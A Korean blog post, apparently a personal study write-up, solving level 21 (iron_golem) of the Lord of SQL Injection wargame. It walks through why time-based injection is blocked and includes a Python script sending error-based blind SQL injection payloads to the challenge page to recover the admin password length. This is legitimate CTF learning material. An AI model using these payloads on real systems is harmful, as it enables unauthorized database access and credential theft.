감자 텃밭

[Load of SQL Injection] LOS - iron_golem(21단계) 본문

my_study/LOS

[Load of SQL Injection] LOS - iron_golem(21단계)

g2h 2023. 1. 7. 23:36

21단계 = iron_golem


소스코드

해당 소스코드를 보면 이전문제와 다르게 추가적으로 적용된 필터링으로는

sleep, benchmark가 필터링되어 있다. 이는 Time based SQL Injection은 불가능하게 하기 위함으로 추측된다.

이번문제는 참값을 입력해도 참 거짓이 구분이 되지 않는다.

 

이럴 경우 사용할 수 있는 게
1. Time Based SQL Injection
2. Error Based SQL Injection

두 종류의 인젝션을 사용할 수 있는데

필터에서도 보았듯이 1번 해결법 Time Based SQL Injection은 사용불가다.

코드를 자세히 보면

즉 에러가 발생 시 에러페이지를 출력시켜 준다.

2번 해결법인 Error Based SQL Injection을 사용하면 될 거 같다.

DBMS도 잘 출력해 준다. 하지만 )가 필터링되어있어 함수등을 사용해 테이블명, 칼럼명, 데이터등은 추출하지 못하며

Error Based SQL Injection을 이용해야 한다.

조건문 또는 union을 사용하여 의도한 SQL 쿼리문이 참일 경우 의도적으로 논리적 오류를 발생시켜야 한다.

import requests

url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookie = {"PHPSESSID":"세션"}

def admin_pw():
    cnt=1
    while 1:
        query=url+"?pw=' or 1 and if(length(pw)={},(select 1 union select 2),0)%23".format(cnt)
        res=requests.get(query, cookies=cookie)
        if 'returns' in res.text:
            print('admin password={}'.format(cnt))
            break
        else:
            print('wait..{}'.format(cnt))
            cnt+=1
            

admin_pw()

위와 같이 작성했다.

패스워드가 무척 길어서.. 불안했다.. 

 

다행히 유니코드는 아니었지만 32자리여서 무척 오래 걸렸다...

성공...!!

 

 

 

※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.

'my_study > LOS' 카테고리의 다른 글

[Load of SQL Injection] LOS - xavis(19단계)  (0) 2023.01.07
[Load of SQL Injection] LOS - DARKKNIGHT(12단계)  (0) 2022.12.25